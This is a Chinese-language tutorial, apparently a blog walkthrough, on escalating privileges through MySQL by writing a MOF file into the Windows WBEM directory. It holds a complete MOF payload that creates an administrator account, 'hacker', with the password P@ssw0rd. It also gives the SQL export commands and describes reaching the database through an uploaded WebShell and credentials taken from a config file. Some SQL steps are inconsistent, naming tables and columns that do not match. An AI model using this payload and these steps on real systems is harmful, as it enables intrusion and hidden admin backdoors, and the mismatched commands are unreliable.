MySQL MOF提权
MOF介绍
mof是windows系统的一个“托管对象格式”文件(位置:C:/windows/system32/wbem/mof/),其作用是每隔五秒就会去监控进程创建和死亡,mof目录下有两个文件夹(good与bad)。Windows server 2003及以下系统每5秒会执行一次mof目录下的文件,执行成功会移动到good文件夹,执行失败则会移动到bad文件夹。
注:MOF提权只能用于Windows系统提权,Linux提权无法使用
MOF提权原理
mof提权其实就是利用mysql 写入mof文件,通过mof文件中的vbs脚本以system权限执行系统命令
使用条件如下:
1、mysql是高权限运行
2、mysql需要具有导入导出功能
3、只能用于Windows 2003以下的系统(Windows 2003以上的系统不在使用该目录)
提权脚本如下:执行一段vbs语言,执行系统命令
#pragma namespace("\\\\.\\root\\subscription")instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user hacker P@ssw0rd /add\")\nWSH.run(\"net.exe localgroup administrators hacker /add\")";
};instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
我们创建一个新的文本,并将这段代码复制下来
然后最终保存为1.mof文件
然后我们将其放到C盘目录下,将其转换成16 Hex进制数据,转化成16进制方法很多,然后我们可以借助mysql数据库将其转换为1.txt文件
select hex(load_file('C:/1.mof')) into dumpfile 'c:/1.txt'
然后现在进入我们的C盘目录下,会发现C盘目录下多出了一个1.txt的文件,里面就是1.mof文件转换成Hex 16进制后的内容
MOF提权和UDF提权一样,一定要查询对方数据库的读写权限,因为我们要将动态连接文件导入到相应的目录里,才可以进行相应的提权
show global variables like 'secure%'; 查询
secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出,此时无法提权
secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/ 目录下,此时也无法提权
secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提权
MOF提权实验
MOF提权和UDF提权一样,我们将文件转成二进制然后利用导出函数,导出到对应的目录,然后等待提权即可,注意实验前提是我们有对方的数据库读写权限
一般来讲我们都是通过Web渗透,使用WebShell等一些工具去控制网站的,我们这里通过中国蚁剑上传WebShell连接控制目标网站
然后我们去使用终端,发现我们现在是一个普通的apache用户,没有权限去执行添加用户的命令
那这时我们需要去提权,那该怎么提权呢?如果目标网站恰好有Mysql数据库系统,那我们就可以去查找一些敏感配置的文件,这些文件里面很有可能包含了数据库连接的用户和密码,比如下图,注意连接目标网站的数据库是MOF提权的前提条件
我们在网站的system目录下的config目录下的 my.php文件中查找到了Mysql数据库的连接用户名和密码
那我们这时就可以使用中国蚁剑这种工具去执行数据操作,连接网站的数据库
当前连接网站数据库的操作配置如下
这样我们就连进了当前网站的数据库了
接下来我们就可以使用进行MOF提权了
建表
1、首先我们创建一个表格用来存放mof文件的16进制内容
CREATE TABLE temp_mof (mof blob);
插入
2、然后将之前1.txt文件夹内的十六进制数据插入到表格中,注意其中 binaryCode为已经转换好的十六进制内容,binaryCode前加0x
INSERT into temp_udf values (CONVERT($binaryCode,CHAR));
然后我们将以上的命令放到网站的数据库中去执行
导出
3、然后我们执行以下的命令将其导出到目标相应的目录下
SELECT udf FROM temp_udf INTO DUMPFILE "c:/windows/system32/wbem/mof/1.mof"
然后这时我们会发现目标网站的相应目录下会多出一个1.mof文件(当然这一步由于我是在做实验,处于上帝视角,实际渗透过程中应该看不见)
执行
4、稍微等待片刻之后,我们会发现1.mof文件被移动到了good文件内
此时我们可以在good文件夹内发现1.mof文件,1.mof文件被系统运行了
到此提权成功,就会发现我们之前我们脚本里面的命令被执行了,hacker 用户被添加了,密码为 P@ssw0rd